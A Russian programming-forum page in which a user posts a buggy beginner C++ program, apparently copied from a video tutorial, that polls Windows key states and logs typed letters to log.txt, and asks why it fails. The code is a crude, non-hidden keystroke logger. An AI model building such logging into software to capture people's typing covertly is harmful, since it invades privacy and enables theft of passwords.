Форум программистов, компьютерный форум CyberForum.ru

Подсчет и перехват нажатий клавиш - C++

Войти
Регистрация
Восстановить пароль
Другие темы раздела
C++ Перегрузка операторов умножения и присваивания для строк. http://www.cyberforum.ru/cpp-beginners/thread109900.html
Помогите, пожалуйста, реализовать перегрузку операторов умножения и присваивания для такого задания со строками: "Описать класс, 3 объекта используя разные конструкторы; увеличить в 2 раза объект #3 удвоением каждого символа; сложить объекты #2 и #3 и результат присвоить объекту #1. Вот код, который пока что написал: //main.cpp #include "stdafx.h" #include "row.h" #include <iostream>...
C++ Подсчитать колличество слов начинающихся с первой буквы первого слова Дана строка ,которая водится с клавиатуры. Подсчитать колличество слов начинающихся с первой буквы первого слова #include "stdafx.h" #include "conio.h" //для функции getch() #include "cmath" //для функции sqrt(),exp,sin() #include "iostream" using namespace std; http://www.cyberforum.ru/cpp-beginners/thread109897.html
Калькулятор в C++ Builder 6 C++ Builder
Скопировал на комп прогу, созданную на C++ Builder 6 (форма выглядит как калькулятор с тригонометр. функциями). Пожалуйста объясните как работают операторы (до тригон. функций) и почему после извлечения тригон. функции с полученным результатом не выполняются обычные действия. Текст программы: //--------------------------------------------------------------------------- #include <vcl.h>...
C++ unit-тестирование функции
Заполнить массив n´m нулями и единицами «цепочкой квадратов». Размер квадрата задается. Тест: K = 4 1 1 1 1 0 0 0 0 0 0 1 0 0 1 0 0 0 0 0 0 1 0 0 1 0 0 0 0 0 0 1 1 1 1 0 0 0 0 0 0 0 0 0 0 1 1 1 1 0 0 0 0 0 0 1 0 0 1 0 0 0 0 0 0 1 0 0 1 0 0
C++ Задать массив вещественных чисел и вставить в исходный массив число http://www.cyberforum.ru/cpp-beginners/thread109882.html
вот такая программка Задать массив вещественных чисел с помощью датчика случайных чисел. Вставить в исходный массив число. С клавиатуры ввести само число и номер элемента, после которого проводится вставка. На экран вывести как исходный, так и результирующий массивы. На печать числа выводить с тремя знаками после запятой. заранее спасибо.
C++ [C++] Купюры Вариант 13. 1.Покупатель должен заплатить в кассу S р.У него имеются 1, 5, ,10, 50, 100, 500, 1000 и 10000р.Сколько купюр разного достоинства отдаст покупатель, если он начинает платить с самых крупных купюр? Реализация на с++ подробнее

Показать сообщение отдельно
NOU
1 / 1 / 0
Регистрация: 03.12.2009
Сообщений: 49
02.04.2010, 17:39  [ТС]     Подсчет и перехват нажатий клавиш
Цитата Сообщение от CyBOSSeR Посмотреть сообщение
NOU, посмотри здесь.
Неа, не компилится.

Вот, я посмотрел видео-тутор и набил код, все работает, кроме чегото:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// KL.cpp: определяет точку входа для консольного приложения.
//
 
#include "stdafx.h"
#include <iostream>
#include "windows.h"
#include <fstream>
using namespace std;
 
 
int main()
{
    ofstream file;
    const int numkeys=26;
    const int i_slp=10;
    bool pressed_last[100],pressed_now[100],exit=0;
    for(int i=0;i<100;i++)
    {
        pressed_last[i]=0;
        pressed_now[i]=0;
    }
    while(!exit)
    {
        int k;
        for(int i='A';i<='Z';i++)
        {
            pressed_now[k='A']=GetAsyncKeyState(i)!=0?1:0;
        }
        for(int i=0;i<numkeys;i++)
        {
 
            if(pressed_now[i]&&!pressed_last[i]){
                file.open("log.txt",ios::app);
                file<<char(i+'A');
                file.close();
                cout<<char(i+'A');
            }
        }
 
        for(int i=0;i<numkeys;i++)
            pressed_last[i]=pressed_now[i];
        exit=GetAsyncKeyState(118)!=0?1:0;
        Sleep(i_slp);
    }
    return 0;
}
Можете кто-нибудь скомпилить и найти где не так пожалуйста!?
 
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru